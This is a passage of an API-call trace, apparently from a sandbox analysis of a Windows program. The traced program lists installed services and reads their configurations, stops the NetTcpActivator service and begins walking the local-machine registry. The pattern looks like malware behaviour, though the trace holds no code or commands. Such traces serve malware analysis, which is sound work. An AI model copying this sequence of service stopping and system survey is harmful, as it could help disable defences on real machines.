pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x1c941c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x1c941c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpcsvc", lpUsedDefaultChar=0x0) returned 6 [0028.185] OpenServiceW (hSCManager=0x286c38, lpServiceName="WPCSvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.185] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.185] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.185] GetLastError () returned 0x7a [0028.185] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x1c94210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpdbusenum", lpUsedDefaultChar=0x0) returned 10 [0028.186] OpenServiceW (hSCManager=0x286c38, lpServiceName="WPDBusEnum", dwDesiredAccess=0x1) returned 0x286dc8 [0028.186] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.186] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.186] GetLastError () returned 0x7a [0028.186] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x1c94258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wscsvc", lpUsedDefaultChar=0x0) returned 6 [0028.186] OpenServiceW (hSCManager=0x286c38, lpServiceName="wscsvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.187] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.187] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.187] GetLastError () returned 0x7a [0028.187] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.187] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1d1e368 [0028.187] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95378) returned 1 [0028.187] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95378 [0028.187] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95598 [0028.187] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95378) returned 1 [0028.187] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95598) returned 1 [0028.187] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95598 [0028.187] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95378 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95598) returned 1 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95378) returned 1 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95378 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942a0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c942a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94258 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942a0) returned 1 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94258) returned 1 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95378) returned 1 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94258 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95378 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95598 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95620 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c956a8 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95730 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942a0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x1c942a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wsearch", lpUsedDefaultChar=0x0) returned 7 [0028.188] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942e8 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942a0) returned 1 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942e8) returned 1 [0028.188] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95730) returned 1 [0028.188] OpenServiceW (hSCManager=0x286c38, lpServiceName="WSearch", dwDesiredAccess=0x1) returned 0x286e18 [0028.188] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.188] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.189] GetLastError () returned 0x7a [0028.189] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x10c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95730 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c957b8 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95730) returned 1 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c957b8) returned 1 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c957b8 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95730 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c957b8) returned 1 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95730) returned 1 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95730 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942e8 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x1c942e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchindexer.exe", lpUsedDefaultChar=0x0) returned 17 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942a0 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942e8) returned 1 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942a0) returned 1 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95730) returned 1 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942a0 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95730 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c957b8 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95840 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c958c8 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95950 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942e8 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x1c942e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wuauserv", lpUsedDefaultChar=0x0) returned 8 [0028.189] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94330 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942e8) returned 1 [0028.189] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94330) returned 1 [0028.190] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95950) returned 1 [0028.190] OpenServiceW (hSCManager=0x286c38, lpServiceName="wuauserv", dwDesiredAccess=0x1) returned 0x286d00 [0028.190] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.190] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.190] GetLastError () returned 0x7a [0028.190] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x100, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.190] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95950 [0028.190] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c959d8 [0028.190] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95950) returned 1 [0028.190] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c959d8) returned 1 [0028.190] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c959d8 [0028.190] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95950 [0028.190] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c959d8) returned 1 [0028.190] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95950) returned 1 [0028.190] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95950 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.190] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94330 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94330, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942e8 [0028.191] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94330) returned 1 [0028.191] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c942e8) returned 1 [0028.191] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95950) returned 1 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c942e8 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95950 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c959d8 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95a60 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ae8 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95b70 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94330 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x1c94330, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wudfsvc", lpUsedDefaultChar=0x0) returned 7 [0028.191] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0028.191] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94330) returned 1 [0028.191] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0028.191] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95b70) returned 1 [0028.191] OpenServiceW (hSCManager=0x286c38, lpServiceName="wudfsvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.191] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.191] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.191] GetLastError () returned 0x7a [0028.192] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x19e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95b70 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95bf8 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95b70) returned 1 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95bf8) returned 1 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95bf8 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95b70 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95bf8) returned 1 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95b70) returned 1 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95b70 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c94378, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94330 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94330) returned 1 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95b70) returned 1 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94330 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95b70 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95bf8 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95c80 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d08 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wwansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wwansvc", cchWideChar=7, lpMultiByteStr=0x1c94378, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wwansvc", lpUsedDefaultChar=0x0) returned 7 [0028.192] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c943c0 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c943c0) returned 1 [0028.192] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0028.192] OpenServiceW (hSCManager=0x286c38, lpServiceName="WwanSvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.193] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.193] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.193] GetLastError () returned 0x7a [0028.193] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x170, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c943c0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c943c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.193] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c943c0) returned 1 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0028.193] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0028.193] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.194] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c829e0) returned 1 [0028.194] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1cd7ea8) returned 1 [0028.194] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x2839f0) returned 1 [0028.195] CryptGenRandom (in: hProv=0x2839f0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0028.195] CryptReleaseContext (hProv=0x2839f0, dwFlags=0x0) returned 1 [0028.195] OpenServiceW (hSCManager=0x286c38, lpServiceName="NetTcpActivator", dwDesiredAccess=0x20) returned 0x286d00 [0028.195] ControlService (in: hService=0x286d00, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0028.196] GetLastError () returned 0x426 [0028.196] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c943c0 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x280) returned 0x1c829e0 [0028.196] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0028.196] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.196] WideCharToMultiByte (in: CodePage=0x0, 